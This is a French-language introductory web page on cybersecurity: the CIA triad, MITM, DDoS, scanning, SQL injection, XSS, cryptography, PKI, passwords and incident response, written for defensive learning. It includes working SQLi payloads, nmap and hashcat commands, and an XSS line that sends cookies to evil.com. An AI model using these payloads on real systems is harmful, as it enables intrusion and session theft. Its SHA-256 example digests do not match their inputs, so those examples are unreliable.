Bases de la
Cybersécurité
Menaces, attaques, cryptographie et défense — fondamentaux pour comprendre et protéger les systèmes.
La triade CIA
La triade CIA est le modèle fondamental de la sécurité de l'information. Tout incident de sécurité viole au moins un de ces trois piliers.
Menaces : écoute réseau, vol de credentials, accès non autorisé
Contre-mesures : chiffrement, contrôle d'accès, authentification forte
Menaces : MITM, injection SQL, ransomware, corruption
Contre-mesures : hachage, signatures numériques, journaux d'audit
Menaces : DDoS, ransomware, pannes matérielles, erreurs humaines
Contre-mesures : redondance, sauvegardes, plan de continuité
Exemple concret : un ransomware chiffre vos fichiers → viole la disponibilité (plus d'accès) et potentiellement la confidentialité (données exfiltrées avant chiffrement). Si les fichiers sont modifiés → viole aussi l'intégrité.
Extensions du modèle : certains ajoutent Authenticité (on est bien qui on prétend être), Non-répudiation (on ne peut pas nier avoir effectué une action) et Traçabilité (qui a fait quoi et quand).
Menaces & acteurs
| Acteur | Motivation | Niveau |
|---|---|---|
| Script kiddie | Fun, curiosité — utilise des outils existants sans les comprendre | FAIBLE |
| Hacktiviste | Idéologie, message politique — Anonymous | MOYEN |
| Cybercriminel | Gain financier — ransomware, fraude, revente de données | ÉLEVÉ |
| Menace interne | Employé malveillant ou négligent — accès légitime | ÉLEVÉ |
| APT / État-nation | Espionnage, sabotage, guerre cyber — très furtif, très patient | CRITIQUE |
| Type de menace | Description |
|---|---|
| Malware | Logiciel malveillant (virus, ver, trojan, ransomware, spyware, adware, rootkit) |
| Phishing | Courriel / site frauduleux imitant une entité de confiance pour voler des identifiants |
| Ransomware | Chiffre les fichiers et demande une rançon pour les déchiffrer |
| 0-day | Vulnérabilité inconnue du vendeur, pas encore corrigée |
| APT | Advanced Persistent Threat — intrusion longue durée, discrète, ciblée |
| Supply chain | Compromettre un fournisseur pour atteindre la cible finale (ex: SolarWinds) |
| Insider threat | Menace interne — employé, sous-traitant, partenaire |
Cyber Kill Chain — anatomie d'une attaque
Le modèle Cyber Kill Chain (Lockheed Martin) décrit les 7 étapes d'une attaque ciblée. Interrompre n'importe quelle étape suffit à bloquer l'attaque.
Sniffing & Man-in-the-Middle
# Écoute passive du trafic réseau
# Possible sur les réseaux partagés (Wi-Fi, hub)
# Sur les switchs : nécessite d'être en position MITM
Outils courants :
Wireshark → GUI, analyse de paquets
tcpdump → CLI, capture en ligne
tshark → CLI Wireshark
Ce qu'on peut capturer en clair :
HTTP → identifiants, cookies, données formulaires
FTP → login + mot de passe en clair
Telnet → toute la session en clair
SMTP sans TLS → contenu des emails
Ce qui est protégé (chiffré) :
HTTPS (TLS) → contenu chiffré, seule l'IP visible
SSH → session chiffrée
SFTP → transfert chiffré
# L'attaquant se place entre la victime et sa destination
# Peut lire ET modifier le trafic
Mécanismes MITM :
ARP Spoofing → empoisonner la table ARP de la victime
"192.168.1.1 est à MA:MAC:AD:DR"
→ tout le trafic passe par l'attaquant
DNS Spoofing → répondre avant le vrai DNS
"google.com = 1.2.3.4 (serveur malveillant)"
SSL Stripping → dégrader HTTPS → HTTP
(fonctionne si l'utilisateur ne vérifie pas)
Evil Twin → faux point d'accès Wi-Fi avec le même SSID
→ forcer la victime à s'y connecter
Défenses :
→ HTTPS partout (HSTS)
→ Vérifier le cadenas et le certificat
→ Éviter les Wi-Fi publics ou utiliser VPN
→ Dynamic ARP Inspection sur les switchs
DoS & DDoS
# DoS = un seul attaquant
# DDoS = réseau de machines compromises (botnet)
Volumétriques (saturer la bande passante) :
UDP Flood → envoi massif de paquets UDP
ICMP Flood → "ping flood"
Amplification DNS / NTP → usurper l'IP source,
→ réponse bien plus grande que requête
Protocole (saturer les ressources réseau) :
SYN Flood → envoyer des SYN sans ACK
→ remplir la table de connexions half-open
→ le serveur ne peut plus accepter de conn.
Ping of Death → paquet ICMP surdimensionné (historique)
Applicatives (Layer 7) :
HTTP Flood → milliers de requêtes GET/POST légitimes
Slowloris → maintenir des connexions HTTP ouvertes
→ épuise les threads du serveur web
DDoS : botnet de milliers/millions de machines
→ difficile à bloquer (trafic depuis IPs légitimes)
→ Mirai botnet : 1 Tbps via objets IoT compromis
# Côté réseau
Rate limiting → limiter les requêtes par IP/seconde
Blackholing → rediriger le trafic d'attaque vers /dev/null
Anycast diffusion → répartir l'attaque sur plusieurs PoP
ACL / Firewall → bloquer les IPs suspectes
# Côté serveur
SYN Cookies → ne pas allouer de ressources avant ACK
→ contre le SYN Flood
Timeout courts → libérer les connexions inactives
Load balancing → répartir la charge
# Services spécialisés
Cloudflare / Akamai / AWS Shield
→ scrubbing centers : filtrent le trafic avant livraison
→ peuvent absorber des attaques de 10+ Tbps
# Prévention
BCP38 (ingress filtering) → les FAI ne devraient pas laisser
passer des paquets avec une IP source usurpée
Scanning & reconnaissance
# Scan basique — ports ouverts
nmap 192.168.1.0/24
# Scan SYN (furtif, plus rapide)
nmap -sS 192.168.1.100
# Détection de version des services
nmap -sV 192.168.1.100
# Détection de l'OS
nmap -O 192.168.1.100
# Scan complet (OS + version + scripts)
nmap -A 192.168.1.100
# Scanner des ports spécifiques
nmap -p 22,80,443,3389 192.168.1.100
nmap -p 1-1024 192.168.1.100
# Résultats typiques :
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.9
# 80/tcp open http Apache 2.4.52
# 443/tcp open ssl/http nginx 1.18
# OSINT = Open Source INTelligence
# Collecte d'info sans contact direct avec la cible
DNS (enumérer les sous-domaines) :
nslookup exemple.com
dig exemple.com MX
→ Trouver les serveurs mail, NS, etc.
WHOIS (infos propriétaire domaine) :
whois exemple.com
Moteurs de recherche spéciaux :
Shodan.io → équipements connectés (caméras, routeurs...)
Censys.io → inventaire d'Internet
theHarvester → emails, sous-domaines, IPs
Réseaux sociaux & LinkedIn :
→ Organigramme, noms des admins, technologies utilisées
→ Construire des attaques ciblées (spear phishing)
Google Dorks (recherches avancées) :
site:exemple.com filetype:pdf
intitle:"index of" site:exemple.com
"mot de passe" site:exemple.com
Scanner un réseau ou des systèmes sans autorisation explicite est illégal dans la plupart des pays. Ces connaissances servent à comprendre les attaques pour mieux se défendre, et s'appliquent uniquement sur ses propres systèmes ou avec un mandat de test signé.
OWASP Top 10 (2021)
L'OWASP Top 10 liste les 10 risques de sécurité les plus critiques pour les applications web. C'est la référence mondiale pour les développeurs et les auditeurs.
Injections SQL & XSS
# Formulaire de login vulnérable (PHP)
$query = "SELECT * FROM users
WHERE username='$user' AND password='$pass'";
# Attaque : on entre comme username :
admin'--
# La requête devient :
SELECT * FROM users
WHERE username='admin'--' AND password='...'
# -- = commentaire SQL → la vérification mdp est ignorée
# Résultat : connexion sans connaître le mot de passe !
# Exfiltration avec UNION :
' UNION SELECT username, password FROM users--
# Récupère tous les identifiants
# Défenses :
→ Requêtes préparées (paramètres bindés)
→ ORM avec requêtes paramétrées
→ Validation et échappement des entrées
→ Principe du moindre privilège sur l'utilisateur BDD
# Injecter du JavaScript dans une page vue par d'autres
# XSS Réfléchi — dans l'URL
https://site.com/search?q=<script>alert(1)</script>
# Le script s'exécute dans le navigateur de la victime
# XSS Persistant — stocké en base
# Commentaire sur un forum :
<script>document.location='http://evil.com/steal?c='+document.cookie</script>
# → vole les cookies de TOUS les visiteurs de la page
# XSS DOM-based — manipulation du DOM sans serveur
# Impact :
→ Vol de cookies de session (hijacking)
→ Redirection vers site malveillant
→ Keylogger dans le navigateur
→ Defacement
# Défenses :
→ Échapper les caractères spéciaux HTML (< > " ')
→ Content Security Policy (CSP) dans les headers
→ HttpOnly sur les cookies (pas accessibles en JS)
→ Validation côté serveur
Chiffrement symétrique
Le chiffrement symétrique utilise la même clé pour chiffrer et déchiffrer. Rapide, mais le problème est l'échange de la clé de façon sécurisée.
| Algorithme | Clé | Statut | Usage |
|---|---|---|---|
| AES-128 | 128 bits | SÛR | Wi-Fi WPA2, TLS, disques |
| AES-256 | 256 bits | SÛR | Recommandé, données sensibles |
| ChaCha20 | 256 bits | SÛR | TLS 1.3, appareils mobiles |
| 3DES | 168 bits eff. | DÉPRÉCIÉ | Legacy, ne plus utiliser |
| DES | 56 bits | CASSÉ | Historique seulement |
| RC4 | variable | CASSÉ | WEP, SSL — ne plus utiliser |
# AES chiffre des blocs de 128 bits
# Le mode détermine comment les blocs s'enchaînent
ECB (Electronic Codebook) — NE PAS UTILISER
→ Mêmes blocs en clair = mêmes blocs chiffrés
→ Révèle les patterns (ex: image du pingouin Linux)
CBC (Cipher Block Chaining)
→ Chaque bloc XOR avec le précédent
→ Nécessite un IV (vecteur d'initialisation) aléatoire
→ Sécurisé mais séquentiel (lent à paralléliser)
GCM (Galois/Counter Mode) ← RECOMMANDÉ
→ Chiffrement + authentification (AEAD)
→ Parallélisable, très rapide
→ Utilisé dans TLS 1.3, AES-256-GCM
Chiffrement asymétrique
Le chiffrement asymétrique utilise une paire de clés — une clé publique (partagée avec tous) et une clé privée (gardée secrète). Résout le problème d'échange de clé du symétrique.
# CHIFFREMENT — confidentialité
Expéditeur :
chiffre avec la CLÉ PUBLIQUE du destinataire
→ seul le destinataire peut déchiffrer
Destinataire :
déchiffre avec sa propre CLÉ PRIVÉE
# SIGNATURE NUMÉRIQUE — authenticité + intégrité
Expéditeur :
signe avec sa propre CLÉ PRIVÉE
→ tout le monde peut vérifier avec sa clé publique
Vérificateur :
vérifie avec la CLÉ PUBLIQUE de l'expéditeur
→ prouve l'identité et que le message n'a pas été modifié
# En pratique (TLS/HTTPS) :
1. Asymétrique pour échanger une clé symétrique
2. Symétrique (AES) pour chiffrer la session
→ le meilleur des deux mondes
| Algorithme | Statut | Usage |
|---|---|---|
| RSA-2048 | SÛR | Certificats TLS, signatures, SSH |
| RSA-4096 | SÛR | Haute sécurité, plus lent |
| ECDSA (P-256) | SÛR | Certificats modernes, JWT |
| Ed25519 | SÛR | SSH moderne, recommandé |
| DH / ECDH | SÛR | Échange de clé (Key Exchange) |
| RSA-512/1024 | CASSÉ | Ne plus utiliser |
Forward Secrecy (PFS) : utiliser Diffie-Hellman éphémère (DHE/ECDHE) pour que la compromission de la clé privée du serveur ne permette pas de déchiffrer les communications passées.
Fonctions de hachage
Une fonction de hachage produit une empreinte de taille fixe (digest) à partir d'une entrée de taille quelconque. Elle est à sens unique — on ne peut pas retrouver l'entrée depuis le hash.
# Propriétés d'une bonne fonction de hachage :
1. Déterministe — même entrée = même sortie
2. Rapide à calculer
3. Irréversible — impossible de trouver l'entrée
4. Effet avalanche — 1 bit changé → hash totalement différent
5. Résistant aux collisions — 2 entrées ≠ → 2 hashs ≠
# Exemples SHA-256 :
"Bonjour" → 6b86b273ff34fce19d6b804eff5a3f57...
"bonjour" → 2cf24dba5fb0a30e26e83b2ac5b9e29e...
# Un seul caractère différent → hash totalement différent
# Usages :
→ Stocker les mots de passe (hash + sel)
→ Vérifier l'intégrité de fichiers (checksums)
→ Signatures numériques (signer le hash du message)
→ Blockchain (chaîner les blocs)
→ HMAC (authentification de messages)
| Algorithme | Taille | Statut | Usage |
|---|---|---|---|
| SHA-256 | 256 bits | SÛR | Intégrité, certificats, Bitcoin |
| SHA-3 / Keccak | variable | SÛR | Alternative à SHA-2 |
| bcrypt | — | SÛR | Mots de passe (lent intentionnellement) |
| Argon2 | — | SÛR | Mots de passe (gagnant PHC 2015) |
| SHA-1 | 160 bits | CASSÉ | Collisions démontrées (SHAttered 2017) |
| MD5 | 128 bits | CASSÉ | Collisions en secondes — ne plus utiliser pour la sécu |
Rainbow tables & sel : des tables précalculées de millions de hashs permettent de retrouver un mot de passe depuis son hash MD5/SHA1. Le sel (valeur aléatoire unique par utilisateur ajoutée avant le hash) rend ces tables inutilisables.
Certificats & PKI
# Un certificat TLS contient :
Subject : CN=www.google.com
O=Google LLC, C=US
Issuer : CN=GTS CA 1C3 (autorité de certification)
Valid : 2024-01-15 → 2024-04-15
Public Key: RSA 2048 bits / ECDSA P-256
SAN : www.google.com, *.google.com
Signature : signée par l'AC → garantit l'authenticité
# Vérifier un certificat (Linux) :
openssl s_client -connect google.com:443
openssl x509 -text -noout -in cert.pem
# Générer une paire de clés + CSR (Certificate Signing Request) :
openssl genrsa -out private.key 2048
openssl req -new -key private.key -out request.csr
# → envoyer le CSR à une AC pour obtenir un certificat signé
# Let's Encrypt — certificats gratuits et automatiques :
certbot --nginx -d exemple.com
# PKI = Public Key Infrastructure
# Comment votre navigateur fait confiance à un site HTTPS
Certificat du site
└── signé par AC intermédiaire (ex: GTS CA 1C3)
└── signé par AC racine (ex: GlobalSign Root)
└── pré-installée dans votre OS/navigateur
→ la confiance part de là
# Types de certificats :
DV (Domain Validation)
→ vérifie juste que vous contrôlez le domaine
→ Let's Encrypt — gratuit, automatique
OV (Organization Validation)
→ vérifie l'identité de l'organisation
EV (Extended Validation)
→ vérification approfondie — affichait le nom de
l'entreprise en vert (aujourd'hui moins visible)
Mots de passe — bonnes pratiques
# Entropie = log2(alphabet^longueur)
# Plus l'entropie est élevée, plus le crack est long
"password" → entropie ~38 bits → cassé en < 1s
"P@ssw0rd" → entropie ~52 bits → cassé en heures
"Tr0ub4dor&3" → entropie ~72 bits → cassé en années
"correct horse battery staple" → ~75 bits → très longtemps
# Recommandations NIST 2024 :
✓ Longueur ≥ 12 caractères (≥ 16 recommandé)
✓ Pas de règles complexité obligatoire (complexité ≠ sécurité)
✓ Un mot de passe différent par site
✓ Vérifier contre les listes de mots de passe connus
✓ MFA obligatoire pour les comptes critiques
✗ Ne pas imposer les rotations périodiques forcées
(pousse à des patterns prévisibles : Cisco2024 → Cisco2025)
# Gestionnaire de mots de passe :
→ Bitwarden (open source, gratuit)
→ 1Password, Dashlane
→ Permet un mot de passe unique et fort par site
# Brute force : tester toutes les combinaisons
hashcat -m 0 hash.txt rockyou.txt
# Défense : rate limiting, lockout après N échecs
# Dictionnaire : liste de mots courants
# rockyou.txt = 14M mots de passe réels leakés en 2009
# Défense : interdire les mots de passe dans les listes connues
# Credential stuffing : tester des paires login/mdp
# volées dans d'autres fuites de données
# Défense : MFA, détection d'anomalies de connexion
# Pass-the-Hash (Windows)
# Utiliser le hash NTLM directement sans connaître le mdp
# Défense : Credential Guard, least privilege
# Vérifier si votre email est dans une fuite :
→ haveibeenpwned.com
MFA — Authentification Multi-Facteurs : combiner quelque chose qu'on sait (mot de passe), quelque chose qu'on a (téléphone, token TOTP), et/ou quelque chose qu'on est (biométrie). Même si le mot de passe est volé, l'attaquant ne peut pas se connecter.
Firewall, IDS & IPS
| Type | Couche | Fonctionnement |
|---|---|---|
| Firewall stateless | L3-L4 | Filtre les paquets individuellement selon IP/port — ACL. Rapide mais limité |
| Firewall stateful | L3-L4 | Suit l'état des connexions TCP — autorise automatiquement les réponses aux connexions initiées depuis l'intérieur |
| WAF (Web App Firewall) | L7 | Inspecte le contenu HTTP — protège contre SQLi, XSS, OWASP Top 10. ModSecurity, Cloudflare WAF |
| NGFW | L7 | Next-Gen Firewall — DPI, identification des applications, sandboxing des fichiers |
| IDS (Intrusion Detection) | L3-L7 | Détecte et alerte sur les intrusions — passif, ne bloque pas. Snort, Suricata |
| IPS (Intrusion Prevention) | L3-L7 | Détecte et bloque les intrusions en temps réel — en coupure sur le réseau |
Internet
│
[Firewall externe] ← filtre le trafic entrant
│
DMZ (zone démilitarisée)
├── Serveur Web (port 80/443 ouvert)
├── Serveur Mail (port 25 ouvert)
└── Reverse Proxy (point d'entrée unique)
│
[Firewall interne] ← protège le LAN depuis la DMZ
│
Réseau interne (LAN)
├── Serveurs BDD (non accessibles depuis Internet)
├── Postes de travail
└── Serveurs internes
Principe : si un serveur DMZ est compromis,
l'attaquant ne peut pas directement accéder au LAN
Bonnes pratiques & principes
# PICERL (NIST SP 800-61)
1. Préparation
→ Plan IR, équipe CERT, outils en place
→ Formation, simulations
2. Identification
→ Détecter et confirmer l'incident
→ Classifier la sévérité
3. Confinement
→ Court terme : isoler les systèmes compromis
→ Long terme : corriger sans perdre les preuves
4. Éradication
→ Supprimer la cause racine (malware, compte compromis)
→ Corriger la vulnérabilité exploitée
5. Récupération
→ Restaurer depuis sauvegardes propres
→ Surveiller intensivement
6. Leçons apprises (Lessons Learned)
→ Post-mortem dans les 2 semaines
→ Améliorer les procédures
CVE & CVSS : les CVE (Common Vulnerabilities and Exposures) identifient les vulnérabilités connues (ex: CVE-2021-44228 = Log4Shell). Le score CVSS (0–10) mesure la sévérité : <4 = faible, 4–7 = moyen, 7–9 = élevé, 9–10 = critique.
Cheat sheet
Crypto — à utiliser
| AES-256-GCM | Chiffrement symétrique |
| RSA-2048 / ECDSA P-256 | Asymétrique |
| Ed25519 | SSH moderne |
| SHA-256 / SHA-3 | Hachage intégrité |
| bcrypt / Argon2 | Hachage mots de passe |
| TLS 1.3 | Transport sécurisé |
Crypto — à éviter
| MD5 / SHA-1 | Cassés (collisions) |
| DES / 3DES | Trop faible / déprécié |
| RC4 | Cassé (WEP, SSL) |
| RSA-512 / 1024 | Factorisable |
| ECB mode | Révèle les patterns |
| TLS 1.0 / 1.1 | Dépréciés (BEAST, POODLE) |
CIA & principes
| Confidentialité | Chiffrement, accès |
| Intégrité | Hash, signatures |
| Disponibilité | Redondance, backups |
| Moindre privilège | Accès minimal |
| Défense en profondeur | Couches multiples |
| Zero Trust | Vérifier toujours |
Attaques courantes
| SQLi | Requêtes préparées |
| XSS | Échapper + CSP |
| MITM | HTTPS + HSTS |
| Phishing | MFA + sensibilisation |
| DDoS | Rate limiting + CDN |
| Brute force | Lockout + MFA |
Ingénierie sociale
L'ingénierie sociale exploite la psychologie humaine plutôt que les failles techniques. 90% des cyberattaques commencent par un vecteur humain.
Mécanismes psychologiques exploités :
Règle d'or : si un message crée une urgence, demande des identifiants, ou vous pousse à cliquer sans réfléchir → c'est un signal d'alarme. Vérifier par un autre canal (appel direct, URL saisie manuellement).